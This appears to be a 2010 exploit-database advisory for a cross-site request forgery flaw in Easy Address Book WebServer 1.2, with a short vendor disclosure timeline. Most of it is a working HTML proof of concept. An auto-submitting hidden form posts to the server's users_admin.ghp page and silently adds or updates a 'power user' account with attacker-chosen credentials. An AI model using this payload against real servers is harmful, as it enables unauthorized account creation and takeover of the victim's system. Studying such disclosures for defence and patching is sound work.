Easy Address book Webserver 1.2 CSRF

🗓️ 26 May 2010 00:00:00Reported by MarkotType

zdt🔗 0day.today👁 14 Views

Easy Address Book WebServer 1.2 CSRF vulnerability May 25, 201

====================================
Easy Address book Webserver 1.2 CSRF
====================================


# Software      : Easy Address Book WebServer 1.2
# Author        : Markot
# Date          : May 25, 2010
# OS            : Windows
# Tested on     : XP SP3 En (Virtual box)
# Type of vuln  : CSRF
# Greetz to     : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
 
#code
 
 <html>
 <body>
 <body onload="document.forms['Login'].submit();">
 <form method="POST" name="Login" action="http://192.168.1.200:80/users_admin.ghp">
 <input type="hidden" name="userid" value="3"/>
 <input type="hidden" name="username" value="corelanteam"/>
 <input type="hidden" name="password" value="corelanteam"/>
 <input type="hidden" name="email" value="[email protected]"/>
 <input type="hidden" name="level" value="power user"/>
 <input type="hidden" name="state" value="Enable"/>
 <input type="hidden" name="add_user" value="Update"/>
 </form>
 </body>
 </html>
 
Author/Vendor communication
 
 May 1 2010 : vendor contacted
 
 May 17 2010: reminder sent, no feedback from the vendor
 
 May 25 2010: Public disclosure



#  0day.today [2018-01-05]  #

26 May 2010 00:00Current

7.1High risk

Vulners AI Score7.1

webserver csrf vulnerability windows xp corelan security team 0day.today 2010 1.2csrf vulnerability may 25 2010